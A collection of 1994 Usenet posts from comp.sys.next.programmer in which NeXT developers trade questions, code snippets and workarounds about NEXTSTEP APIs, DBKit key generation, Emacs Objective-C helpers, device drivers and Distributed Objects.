Control: cancel <2rs95i$85a@anshar.shadow.net> Newsgroups: comp.sys.next.programmer From: keogh@anshar.shadow.net (Matt Keogh) Subject: cmsg cancel <2rs95i$85a@anshar.shadow.net> Organization: Shadow Information Services, Inc. Date: 24 May 1994 03:08:34 -0400 Message-ID: <cancel.2rs95i$85a@anshar.shadow.net> Skinny Dip
Newsgroups: comp.sys.next.programmer From: pelletk@il.us.swissbank.com (Ken Pelletier) Subject: Re: Using alpha for background of cells within a matrix? (Summary) Message-ID: <1994May24.221013.5840@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <9405221514.AA01582@flexus> Date: Tue, 24 May 1994 22:10:13 GMT The problem (using a color with alpha as a backgroundColor for a textfield cell doesn't allow underlying images to show through as expected) was diagnosed by a number of people to be that the cell's background isn't composited. Workarounds all included subclassing the cell and overriding - drawInside:inView: method and composite the background yourself. Variations on that included compositing into an off-screen window; using NXImage and providing it with a draw method which call the PS operators; and using PScompositerect() directly. PScompositerect() turns out to be the simplest; thanks to Raf Schietekat, Gerd Knops and two others whose posts I've lost (sorry). BTW - As expected, I also attracted a few private responses about the evils of color in the UI. Some even made me feel like I was worshiping a golden calf in the temple of Yaweh. I'm mostly in agreement on this issue, but it just isn't always that... errrr... black and white. Ugh. - Ken ken_pelletier@swissbank.com ken@nika.com
From: elitman@proxima.com (Eric A. Litman) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Skinny Dip Date: 24 May 1994 17:25:04 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <9405242225.AA03552@proxima.com> Here we go again - please, let's keep discussion of this topic OUT of the NeXTSTEP-related groups. -- Eric Litman Proxima, Inc. vox: (703) 506.1661 Director, ProxNet McLean, VA elitman+@proxima.com
Newsgroups: comp.sys.next.programmer From: riddler@netcom.com (Andy Riedel) Subject: SoundBlaster 2.2 Driver Message-ID: <riddlerCqBuz5.LxC@netcom.com> Organization: NETCOM On-line Communication Services (408 261-4700 guest) Date: Tue, 24 May 1994 22:11:19 GMT Has anyone gotten this driver to work properly? At boot-up, the log messages indicate that the card was found and registered okay but I don't get any sound at all from the Sound player app or Interface Builder, etc. I'm using a SoundBlaster AWE-32 but had the same problem on a SB-16 Multi-CD. One strange note is that the intro sound in the Info Panel of Lift Off (a dock-extending program) plays correctly but it's the only thing I've found that works! What did they do right or wrong to get it to work? Please help!
From: xepo@csd4.csd.uwm.edu (Scott R Violet) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2ru72eINNlam@uwm.edu> Control: cancel <2ru72eINNlam@uwm.edu> Date: 25 May 1994 01:12:13 GMT Organization: Computing Services Division, University of Wisconsin - Milwaukee Distribution: usa Message-ID: <2ru8ldINNli8@uwm.edu> References: <2ru72eINNlam@uwm.edu> Originator: xepo@csd4.csd.uwm.edu This message was cancelled from within rn. -- -Scott Violet (xepo@csd4.csd.uwm.edu)
From: xinwei@otter.Stanford.EDU (Sha Xin Wei) Newsgroups: comp.sys.next.programmer,comp.music Subject: AIFF to NEXTSTEP Sound Date: 25 May 1994 03:37:23 GMT Organization: Stanford University Distribution: inet Message-ID: <2ruh5j$oeu@nntp2.Stanford.EDU> References: <2rj3kf$m2f@nntp2.Stanford.EDU> How do I read an AIFF file into a Sound object? Can the Sound object simply "readFromAIFF"? (Not in doc.) I have sox, but would like some NEXTSTEP Objective-C code to directly play an AIFF file. Xin Wei Stanford University
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: DBKit question Date: 25 May 1994 07:39:30 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May25083930@steffi.demon.co.uk> References: <2ro3ug$16d@News1.mcs.com> <1994May24.172646.4055@il.us.swissbank.com> To: pelletk@il.us.swissbank.com (Ken Pelletier) In-reply-to: pelletk@il.us.swissbank.com's message of Tue, 24 May 1994 17:26:46 GMT CC: next-prog@cpac.washington.edu <pelletk@il.us.swissbank.com> writes: >A lot of people asked for an example of using DBExpression to do what R. >Craig Woods was looking for. >R. Craig Woods writes: >>Is it possible to issue an SQL function such as max() or count() >>using the DBKit? If so, would someone explain how you do this, >>or point me to online documentation or examples? >> >>Thanks. >>---Craig Woods >Here's the meat of it: >/* > * This is taken from the init method which is passed a property > * for which the max() is to be gotten later by invoking > * a method called nextID. nextID just fetches, then digs out > * the value for idExpression and returns it. > * > * You can also init with a qualifier, which gives you next-id within > * a where clause. > */ > recordList = [[DBRecordList alloc] init]; > idExpression = [[DBExpression alloc] > initForEntity:[aProperty entity] > fromDescription:"MAX(%@) +1", aProperty]; > aPropList = [[List alloc] init]; > [aPropList addObject:idExpression]; > [recordList setProperties:aPropList ofSource:nil]; > [aPropList free]; >...munch.... >- (int)nextID >{ > int nextID; > id aValue = [[DBValue alloc] init]; > // Fetch a new ID and return it > [recordList fetchUsingQualifier:theQualifier]; > [recordList getValue:aValue forProperty:idExpression at:0]; > nextID = [aValue intValue]; > [aValue free]; > return nextID; >} >One (easy to fix) problem here: If there are no rows (for the qualifier >used), max() returns a warning and the recordList is empty. The DBValue >returns 0 for its intValue (probably what you want, but makes me queezy). >You really need to test the count of the record list or maybe check for >adaptor errors. >To those who expressed an interest in the IDVendor object that this >is taken from, it's coming. Anyone else wanting a copy, email me and I'll >send it along. I thought it might be a bit much to post it here. What impact does this solution having on locking? ie. I've often seen people using a dedicated ENTITY HIGHEST_KEY table for this kind of thing to ensure that the _actual_ entity's table is not locked. and what about transaction contexts? Why are there none here? -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Some Emacs code for Programmers. Date: 25 May 1994 08:16:12 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94May25091612@steffi.demon.co.uk> Here's some Emacs code I've knocked up recently. ;;; find-header.el --- provide hypertext style header file referal ;; Copyright (C) 1994 Robert Nicholson ;; ;; Author: Robert Nicholson <robert@steffi.demon.co.uk> ;; Version: 1.1 ;;; LCD Archive Entry: ;;; find-header|Robert Nicholson|robert@steffi.demon.co.uk| ;;; Provide hypertext style header file referal.| ;;; 14-May-94|1.1|Contact author ;;; This file is not part of GNU Emacs. ;;; GNU Emacs is free software; you can redistribute it and/or modify ;;; it under the terms of the GNU General Public License as published by ;;; the Free Software Foundation; either version 2, or (at your option) ;;; any later version. ;;; GNU Emacs is distributed in the hope that it will be useful, ;;; but WITHOUT ANY WARRANTY; without even the implied warranty of ;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ;;; GNU General Public License for more details. ;;; You should have received a copy of the GNU General Public License ;;; along with GNU Emacs; see the file COPYING. If not, write to ;;; the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. ;;; Commentary: ;; Purpose: ;; ;; This small package provides facilities to refer to header files "#included" ;; in implementation files: ;; ;; When point is on a line referring to a header file, locate that file and ;; load it either into other-window or other-frame. ;; ;; The search path is specified through a list of strings in the ;; fh-include-path: variable ;; ;; ("." "/usr/local/include" "/usr/include") ;; ;; Installation: ;; ;; To use, autoload in your ~/.emacs the following functions. ;; ;; (autoload 'fh-open-header-file-other-window "find-header" ;; "Locate header file and load it into other window" t) ;; ;; (autoload 'fh-open-header-file-other-frame "find-header" ;; "Locate header file and load it into other frame" t) ;; ;; If you use Barry Warsaw's cc-mode create the appropriate bindings. ;; ;; (add-hook 'c-mode-common-hook '(lambda() ;; (local-set-key "\M-o" 'fh-open-header-file-other-window) ;; (local-set-key "\M-O" 'fh-open-header-file-other-frame))) ;; Code: (defvar fh-include-path '("." "/usr/local/include" "/usr/include") "List of directories to search for header file") (defun fh-current-line () "Return the contents of the current line" (save-excursion (beginning-of-line) (let ((start (point))) (end-of-line) (buffer-substring start (point))))) (defun fh-header-file-name () "Return the name of the header file or nil if none" (let* ((line (fh-current-line)) (dummy (string-match ".* [<\"]+\\(.*\\)[>\"]+" line)) (headername (fh-file-in-path (substring line (match-beginning 1) (match-end 1)) fh-include-path))) headername)) (defun fh-open-header-file-other-window () "Open the header file on the current line in other window" (interactive) (let ((headername (fh-header-file-name))) (if headername (find-file-other-window headername)))) (defun fh-open-header-file-other-frame () "Open the header file on the current line in other frame" (interactive) (let ((headername (fh-header-file-name))) (if headername (find-file-other-frame headername)))) (defun fh-file-in-path (file pathlist) "Return qualified path name for a file if found in pathlist or nil" (if pathlist (progn (setq filename (concat (car pathlist) "/" file)) (if (file-exists-p filename) filename (fh-file-in-path file (cdr pathlist)))))) (provide 'find-header) ;;; find-header.el ends here ---- The next one isn't documented (sorry RMS) but you just highlight a classname and using the following bindings (I use Barry Warsaw's cc-mode) (add-hook 'c++-mode-hook '(lambda() (load-library "objc") (local-set-key "\M-s" 'objc-subclass-region) (local-set-key "\M-c" 'objc-category-region))) This one uses Windows rather than Frames but that can be easily changed. I prefer windows. ; -*-Emacs-Lisp-*- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; File: objc.el ; RCS: $Header: $ ; Description: Objective-C helper routines ; Author: Robert Nicholson ; Created: Sun May 22 12:03:10 1994 ; Modified: Sun May 22 17:08:44 1994 (Robert Nicholson) robert@steffi.demon.co.uk ; Language: Emacs-Lisp ; Package: N/A ; Status: Experimental (Do Not Distribute) ; ; (C) Copyright 1994, Robert Nicholson, all rights reserved. ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (defun objc-subclass-region (reg-start reg-end) "Build interface and implementation skeletons for subclass of region" (interactive "r") (let* ((subclassname (read-string "Name of subclass: ")) (superclassname (buffer-substring reg-start reg-end)) (subclassheadername (concat subclassname ".h")) (superclassheadername (concat superclassname ".h"))) (find-file-other-window subclassheadername) (objc-create-subclass-interface subclassname superclassname superclassheadername) (find-file-other-window (concat subclassname ".m")) (objc-create-subclass-implementation subclassheadername subclassname))) (defun objc-create-subclass-interface (subclassname superclassname superclassheadername) "Build interface skeleton for new subclass" (insert (format "#import %s\n\n" superclassheadername)) (insert (format "@interface %s:%s\n" subclassname superclassname)) (insert "{\n}\n") (insert "@end\n")) (defun objc-create-subclass-implementation (subclassheadername subclassname) "Build implementation skeleton for new subclass" (insert (format "#import %s\n\n" subclassheadername)) (insert (format "@implementation %s\n" subclassname)) (insert "@end\n")) (defun objc-category-region (reg-start reg-end) "Build interface and implementation skeletons for category of region" (interactive "r") (let* ((categoryname (read-string "Name of category: ")) (classname (buffer-substring reg-start reg-end)) (classheadername (concat classname ".h")) (categoryheadername (format "%s.%s.h" classname categoryname)) (categoryimplementationname (format "%s.%s.m" classname categoryname))) (find-file-other-window categoryheadername) (objc-create-category-interface categoryname classname classheadername) (find-file-other-window categoryimplementationname) (objc-create-category-implementation categoryname classname categoryheadername))) (defun objc-create-category-interface (categoryname classname classheadername) "Build interface skeleton for new category" (insert (format "#import %s\n\n" classheadername)) (insert (format "@interface %s(%s)\n" classname categoryname)) (insert "@end\n")) (defun objc-create-category-implementation (categoryname classname categoryheadername) "Build implementation skeleton for new category" (insert (format "#import %s\n\n" categoryheadername)) (insert (format "@implementation %s(%s)\n" classname categoryname)) (insert "@end\n")) ----- thoughts comments/improvements welcome. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: DBKit question Message-ID: <1994May25.143123.11740@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <ROBERT.94May25083930@steffi.demon.co.uk> Date: Wed, 25 May 1994 14:31:23 GMT Robert Nicholson writes > <pelletk@il.us.swissbank.com> writes: > > >A lot of people asked for an example of using DBExpression to do what R. > >Craig Woods was looking for. > > <code for performing a max() deleted> > > What impact does this solution having on locking? > > ie. I've often seen people using a dedicated > > ENTITY HIGHEST_KEY > > table for this kind of thing to ensure that the _actual_ entity's > table is not locked. > > and what about transaction contexts? Why are there none here? > -- > "Emacs isn't pretty. It's functional!" > (ASCII for text only messages) There are two ways (at least) to solve the problem of generating a unique key for a table. The first is like what you suggest. Use a separate table and store the max key for each table that you need a unique id for. Then, when you need a new key, get the value from the key table, increment it and store the new value back into the key table (all within a transaction of course). The other method involves simply performing a max(key_field)+1 to generate a new key. Again, this must be done within the transaction that is being performed for the record insert. The advantage to the first approach is that you can get a new key for a record before you actually store the data. But if you then decide not to store it, your record key is lost forever. The second method's advantage is that it doesn't require any extra tables and thus is simpler to maintain (maybe not that much :-). In any case, back to Robert's questions. The method that Ken posted requires that you not generate a new key until you actually store the record. So the sequence of events would look like this: BEGIN TRANSACTION get new key (select max(key_field)+1 from myTable) insert record (with the new key) COMMIT TRANSACTION Since you would be locking around the table during the insert anyway, this doesn't cause any extra locking to be done. As for why there is no transaction contexts in the method that Ken posted, the transaction operations would be performed around the code that called Ken's object and then performed the insert (i.e. [recordList saveModifications]). -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
From: ctf1001@cl.cam.ac.uk (Christopher Faigle) Newsgroups: comp.sys.next.programmer,comp.sys.next.hardware Subject: NeXT Driver Help Needed Date: 25 May 1994 15:32:25 GMT Organization: U of Cambridge Computer Lab, UK Distribution: world Message-ID: <2rvr29$3qf@lyra.csx.cam.ac.uk> Hi, I'm writing a driver for a custom piece of hardware under NeXTStep. The hardware is 486, and the card uses the ISA Buss. I am using NeXT's driverKit, and I am subclassing the DirectDevice class. I have no problem talking to the hardware; during the "probe" message, I call my own initDeviceFromDescription, which calls the super method of the same, and then checks out the board, etc. This all works OK. I can read/write to the board no problem. My question has to do with actually sending messages to the device driver. The driverKit talks about how nice it is with it's interrupt handler stuff, and says "Use the MiG stuff". This suits me fine, except that I don't see how to connect the MiG stuff with the instance of the device driver. I invoke startIOThread, so I will have a thread, but I don't know its port ahead of time, so how does a user program know? If I use this port, how do I set up the message so that it goes to the right instance method (otherOccurred, I guess). I could ADVERTISE a port, and HMAP or SMAP it to some functions, but then I lose the class instance of the driver. I could simply do everything with the MiG stuff, but again, I lose the class instance. I know that I'm probably missing something basic, but if anyone could show me how to properly set up the IOThread, the LoadCommands and the MiG stuff so that they all work properly, I would be very grateful. A code example would really help! Please respond via e-mail. Thank-you!! Regards, Chris Faigle Computer Lab. U. Cambridge
From: mogo@MCS.COM (Michael J. McGonagle) Newsgroups: comp.sys.next.programmer Subject: Forth on the NeXT Date: 25 May 1994 13:15:17 -0500 Organization: MCSNet Subscriber Account, Chicago's First Public-Access Internet! Message-ID: <2s04jl$dha@Venus.mcs.com> Is anybody using Forth, or a similar system on a NextStep machine? Please send email.
Newsgroups: comp.sys.next.programmer,comp.sys.next.bug From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Distributed Objects, are they reliable? Message-ID: <1994May25.172627.29666@planon.qc.ca> Sender: yanik@planon.qc.ca (Yanik Crepeau) Date: Wed, 25 May 1994 17:26:27 GMT We are currently in the process to build a server that communicates with its client with the DO mecanism. We have checked the documentation, run the "Remote Spot" exemple to get all the needed information to be able to build a reliable application. Last week, we faced the NXReference problem. I posted a message and got a very explicative answer from XEDOC in Australia. Today, we are facing the "senderIsInvalid" problem. The server is due to work all the day long. From time to time, a new client connects, sometimes a client could disconnect. The DO provides a nice mecanism allowing the server to know when a connection drops. When such thing happens, the server is notified by the -senderIsInvalid: method. This method is intended to allow some cleanup. According to the "RemoteSpot" example, that methods finishs by sending a [sender free] method to de-allocate the NXConnection itself. That NXConnexion is never actualy freed... its own reference (NXReference protocol) is always highier than 1. If the connexion has never been use to vend some object (just a connexion established between the server and the client), everything works well. However, if one object is vended by the server to a client and the client quits, the server ejects. That happen when some remote object are alive as well as when all vended objects have been freed by the client. Does anyone have the solution to that problem? Yanik -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
From: wln@news.cs.columbia.edu (William Lee Nussbaum) Newsgroups: comp.sys.next.programmer Subject: Re: Interbase adaptor (Solution) Date: 25 May 1994 17:57:40 -0400 Organization: Columbia University Department of Computer Science Message-ID: <2s0hkk$4st@pizza.cs.columbia.edu> References: <2rfsq7$fv5@digdug.pencom.com> <1994May19.162809.2210@dart.de> In article <1994May19.162809.2210@dart.de>, Alexander Spohr <Alexander_Spohr@DART.de> wrote: > >NeXT forgot to mention the /etc/hosts.equiv file. >Server: add all clients. >Client: add the server. (1) Is client permission to the server actually necessary? That's unusual for a database package. (2) Are you on an isolated network *and* do you trust everyone with physical access to any of the involved machines? If either of these is not the case, doing this is probably a poor approach. Make *sure* you mean this -- this means (well, not exactly, but effectively) you completely trust any account name that may be similar on the <n> machines. I don't have Interbase or any documentation accessible, but I suspect that only a specialized program account needs to be trusted, and that that trust is better specified in a specific .rhosts file that grants permissions for only the relevant account. (This includes various system accounts, also; if you're not on an isolated net, any break-in to any machine exposes the others almost entirely...) From the rhosts(5)/hosts.equiv(5) manpage: DESCRIPTION Hosts.equiv resides in directory /etc and contains a list of trusted hosts. When an rlogin(1) or rsh(1) request from such a host is made, and the initiator of the request is in /etc/passwd, then no further validity checking is done. That is, rlogin does not prompt for a password, and rsh com- pletes successfully. So a remote user is ``equivalenced'' to a local user with the same user ID when the remote user is in hosts.equiv. >have fun :-) - Lee
Newsgroups: comp.sys.next.programmer From: cleelacj@agedwards.com (Chris Cleeland) Subject: Getting the icon for a file Message-ID: <CqDn6y.5HJ@agedwards.com> Date: Wed, 25 May 1994 21:18:33 GMT Organization: A. G. Edwards & Sons, Inc. In short, I'm trying to get the image that Workspace would use when displaying the icon for a given filename and can't seem to do it. I know about the WorkspaceRequest protocol and getIconForFile: message, but that only works if the file exists on the local system. The file that I'm interested in is NOT on the local system --- it's across the network somewhere (no, NFS is not an option). I've considered doing the programmatic equivalent of "touch /tmp/somefile" (where "somefile" is the name of the file on the remote system) and getting the image for that file. This would seem to work in most cases. However, there must be a better(tm) way. Incidentally, I'm using the MiscIconWell class out of the fabulous MiscKit. Thanks mucho! -cj -- ============================================================================== Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us BOS Dev. Team | MIMEMail: cleeland@agedwards.com | BellNet: (314) 289-5372
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi) Newsgroups: comp.sys.next.programmer Subject: Anybody writing a Kodak Portfolio Application? Date: 25 May 1994 23:18:33 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: usa Message-ID: <2s0mc9INN1p7@srvr1.engin.umich.edu> References: <2ro9ju$kns@gazette.bcm.tmc.edu> Is anybody out there writing an application on the NeXT that is similar to Kodak's "Create-It"/"Arrange-It: on the Mac? Basically something that will let you arrange images and sound in a hierarchy and write out the necessary Portfolio script which you can then take to a service bureau (on a Syquest or DAT) -- Wassim M. Jabi (313) 936-0229 Doctoral Program in Architecture, University of Michigan 2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2069 wjabi@libra.arch.umich.edu NeXTMail-friendly
From: hamps@richibucto.jpl.nasa.gov (John B. Hampshire II) Newsgroups: comp.sys.next.programmer Subject: changing target of menu cell Date: 26 May 1994 01:06:35 GMT Organization: JPL Spacecraft Telecommunication Equipment Message-ID: <2s0smr$8a5@marsupial.jpl.nasa.gov> I have a menu with cut copy paste cells that I'd like to cut/copy/paste text in a text view when the key window contains a text view. OK, no problem, IB provides for this seemlessly in the menu pallette: each of the cells has a target in the App's first responder. Now I'd like these menu cells to cut copy and past items in a linked list when the key window contains a custom view with lots of graphics (done via cut/copy/paste methods implemented in this custom view). I figured all I had to do was change the menu's first responder to the custom view and it would work. But it doesn't. Any suggestions on how to get the menu to alter its cells' targets based on the type of view in the key window? I could dynamically change the menu cells' targets, but this seems like a hack --- the first responder stuff is supposed to do this transparently, isn't it? Thanks for any help. -John -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($D@:&%V92!A(&UE M;G4@=VET:"!<"EP*8W5T7`IC;W!Y7`IP87-T95P*7`IC96QL<R!T:&%T($DG M9"!L:6ME('1O(&-U="]C;W!Y+W!A<W1E('1E>'0@:6X@82!T97AT('9I97=< M"G=H96X@=&AE(&ME>2!W:6YD;W<@8V]N=&%I;G,@82!T97AT('9I97<N7`I/ M2RP@;F\@<')O8FQE;2P@24(@<')O=FED97,@9F]R('1H:7,@<V5E;6QE<W-L M>2!I;B!T:&5<"FUE;G4@<&%L;&5T=&4Z("!E86-H(&]F('1H92!C96QL<R!H M87,@82!T87)G970@:6X@=&AE($%P<"=S7`IF:7)S="!R97-P;VYD97(N7`I< M"DYO=R!))V0@;&EK92!T:&5S92!M96YU(&-E;&QS('1O(&-U="!C;W!Y(&%N M9"!P87-T7`II=&5M<R!I;B!A(&QI;FME9"!L:7-T('=H96X@=&AE(&ME>2!W M:6YD;W=<"F-O;G1A:6YS(&$@8W5S=&]M('9I97<@=VET:"!L;W1S(&]F(&=R M87!H:6-S7`HH9&]N92!V:6$@8W5T+V-O<'DO<&%S=&4@;65T:&]D<R!I;7!L M96UE;G1E9"!I;B!T:&ES7`IC=7-T;VT@=FEE=RDN7`I<"DD@9FEG=7)E9"!A M;&P@22!H860@=&\@9&\@=V%S(&-H86YG92!T:&4@;65N=2=S7`IF:7)S="!R M97-P;VYD97(@=&\@=&AE(&-U<W1O;2!V:65W(&%N9"!I="!W;W5L9"!W;W)K M+EP*0G5T(&ET(&1O97-N)W0N7`I<"D%N>2!S=6=G97-T:6]N<R!O;B!H;W<@ M=&\@9V5T('1H92!M96YU('1O(&%L=&5R(&ET<UP*8V5L;',G('1A<F=E=',@ M8F%S960@;VX@=&AE('1Y<&4@;V8@=FEE=R!I;B!T:&4@:V5Y('=I;F1O=S]< M"DD@8V]U;&0@9'EN86UI8V%L;'D@8VAA;F=E('1H92!M96YU(&-E;&QS)R!T M87)G971S+"!B=70@=&AI<UP*<V5E;7,@;&EK92!A(&AA8VL@+2TM('1H92!F M:7)S="!R97-P;VYD97(@<W1U9F8@:7,@<W5P<&]S961<"G1O(&1O('1H:7,@ M=')A;G-P87)E;G1L>2P@:7-N)W0@:70_7`I<"E1H86YK<R!F;W(@86YY(&AE 1;'`N7`I<"BU*;VAN7`H*?0IN `
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: andrew@stone.com (Andrew Stone) Subject: CANNOT setAccessoryView: in NXDataLinkPanel: WORKAROUND Message-ID: <1994May25.172338.2359@stone.com> Keywords: NXDataLinkPanel AccessoryView Good Boy Sender: andrew@stone.com Organization: Stone Design Corp Date: Wed, 25 May 1994 17:23:38 GMT This should save anyone trying to add an accessory view to the NXDataLinkPanel alot of time. Due to a bug in NS 3.2, when you call NXDataLinkPanel's setAccessoryView:, you get this assertion: Assertion failed: No box found in NXDataLinkPanel for setAccessoryView Here's a Workaround, which will "fix itself" when NeXT fixes the bug! Include this code somewhere in your project: @interface NXDataLinkPanel(cheaterMethods) - getOldBreakAllLinks; - resetBreakAllLinks:oldBreakAllLinks; @end @implementation NXDataLinkPanel(cheaterMethods) - getOldBreakAllLinks { id oldBreakAllLinks = breakAllLinks; breakAllLinks = lastUpdateTitle; return oldBreakAllLinks; } - resetBreakAllLinks:oldBreakAllLinks { breakAllLinks = oldBreakAllLinks; return self; } @end In your Application subclass overrride orderFrontDataLinkPanel: // SDLinkAccessory is the controller object for our custom accessory // the actual accessoryView is accessible via the accessoryView method - orderFrontDataLinkPanel:sender { static BOOL first = YES; if (first) { id dataLinkPanel = [NXDataLinkPanel new]; id acc = [SDLinkAccessory new]; if (![dataLinkPanel setAccessoryView:[acc accessoryView]]) { id oldBreakAllLinks = [dataLinkPanel getOldBreakAllLinks]; [dataLinkPanel setAccessoryView:[acc accessoryView]]; [dataLinkPanel resetBreakAllLinks:oldBreakAllLinks]; } first = NO; } [super orderFrontDataLinkPanel:sender]; return self; } That will be $5000 in cybercash, please. ;-) andrew -- ||<<->>||<<==>>|S<<++>>|T<<?>O<+>>N|<<-->>E|<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Have Modem Why Travel !! ||<<->>|D<<==>>|E<<++>>|S<<?>|<+>>G|<<-->>N|<<==>>!|<<+>>||
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: How to determinate what apps are running (only NEXTSTEP ones) Date: 26 May 1994 08:53:43 GMT Organization: San Francisco State University Distribution: usa Message-ID: <2s1o2n$s5f@nic-nac.CSU.net> References: <2ro2ejINN4im@uwm.edu> In article <2ro2ejINN4im@uwm.edu> xepo@csd4.csd.uwm.edu (Scott R Violet) writes: > I'm wondering how WM determines what apps are currently >running (as in the processes panel), and how when you select the icon >it knows which context it should activate? I seem to remember someone >(EPS) posting how to do it a while back, but I can't remember how. WM knows about child processes it creates. If you double-click on an icon, use the "open" command, NXPortFromName(), openFile: or launchApplication: methods in NXWorkspaceRequestProtocol, etc. --all of these would have the Workspace Manager launch applications on your behalf. No magic here. Try asking a different/better question. -=EPS=-
From: achickin@capricorn2.aitc.rest.tasc.com (Alan Chickinsky) Newsgroups: comp.sys.next.programmer Subject: How to Place Text into NeXT 3D Graphics Kit? Date: 26 May 1994 11:11:06 GMT Organization: TASC Message-ID: <2s204a$i8@viper.is.rest.tasc.com> I am working on a project were I have a sphere. On that sphere are a sequence of characters. The camera is moved to look at different views of the characters on the sphere. But, how do you get the characters on the sphere? I have reviewed Chapter 17 ("3D Graphics Kit"), "Quick Renderman Interface and Implementation Specification" and "The RenderMan Companion". None talk to this subject or how to draw text into the RenderMan environment. Solution #1 is to draw the characters in a text window, create a bitmap of the window and then insert the bitmap into the RenderMan environment. But this is a cluge!! Solution #2 is to get the drawing points from the postscript font file and call RiCurve to draw the characters. But I am having a problem finding the data to send to RiCurve. Perhaps the answer to the following questions will help solve my problems: 1- Using the Columbus font as an example, I know the bounding boxes for all the characters (from Columbus.afm). But in Columbus.afm there is a statement "EncodingScheme AppleStandard", what does this mean? I have not found this statement in any Adobe reference manual. 2- How do I read the data (in the font file "Columbus") following "currentfile eexec" statement? The data appears to be the end points needed to draw a character. Better yet, does anyone know of a routine to draw the characters in the RenderMan world? A. Chickinsky (achickin@aitc.rest.tasc.com)
Newsgroups: comp.sys.next.programmer Subject: crontab Message-ID: <1994May26.152649.171216@eros.embl-heidelberg.de> From: tuparev@EMBL-Heidelberg.DE (Georg Tuparev) Date: 26 May 94 15:26:48 +0100 On SGI or SUN there is a commant called crontab ---------------- NAME crontab - user crontab file SYNOPSIS crontab [file] crontab -r crontab -l DESCRIPTION crontab copies the specified file, or standard input if no file is specified, into a directory that holds all users' crontabs. The -r option removes a user's crontab from the crontab directory. crontab -l will list the crontab file for the invoking user. ------------------ Is there any equivalent for NS? -- Georg Tuparev EMBL / Protein Design Phone: +49 - 6221 - 387534 Meyerhofstr. 1 FAX: +49 - 6221 - 387517 D-69117 Heidelberg Germany Tuparev@EMBL-Heidelberg.de (NeXT-mail)
From: jason@dbkit.com (Jason Beaver) Newsgroups: comp.sys.next.programmer Subject: Re: Getting the icon for a file Date: 26 May 1994 14:03:13 GMT Organization: OARnet Distribution: usa Message-ID: <2s2a71$i3s@ns.oar.net> References: <CqDn6y.5HJ@agedwards.com> In article <CqDn6y.5HJ@agedwards.com> cleelacj@agedwards.com (Chris Cleeland) writes: > > I know about the WorkspaceRequest protocol and getIconForFile: message, > but that only works if the file exists on the local system. The file > that I'm interested in is NOT on the local system --- it's across the > network somewhere (no, NFS is not an option). > getIconForFile: works on nonexistent files as well. i.e. to find the icon for an eps file, do: [[Application workspace] getIconForFile:"/a.eps"]; jason ----- Jason Beaver Software Engineer, Vanguard Software, Corp. Phone: (513) 755-9929 Fax: (513) 755-9980 jason@dbkit.com (NeXTMail accepted)
From: jason@dbkit.com (Jason Beaver) Newsgroups: comp.sys.next.programmer Subject: Putting editable TextFieldCells in an NXBrowserCell Date: 26 May 1994 14:16:25 GMT Organization: OARnet Distribution: usa Message-ID: <2s2avq$ima@ns.oar.net> Does anyone have an example of how to put editable TextFieldCells in an NXBrowserCell (or a subclass)? I want to have the TextFieldCells behave as if they are in a matrix or in a TextField, i.e. I want to have a single click place the insertion point, double click select a word, etc. thanks, jason ----- Jason Beaver Software Engineer, Vanguard Software, Corp. Phone: (513) 755-9929 Fax: (513) 755-9980 jason@dbkit.com (NeXTMail accepted)
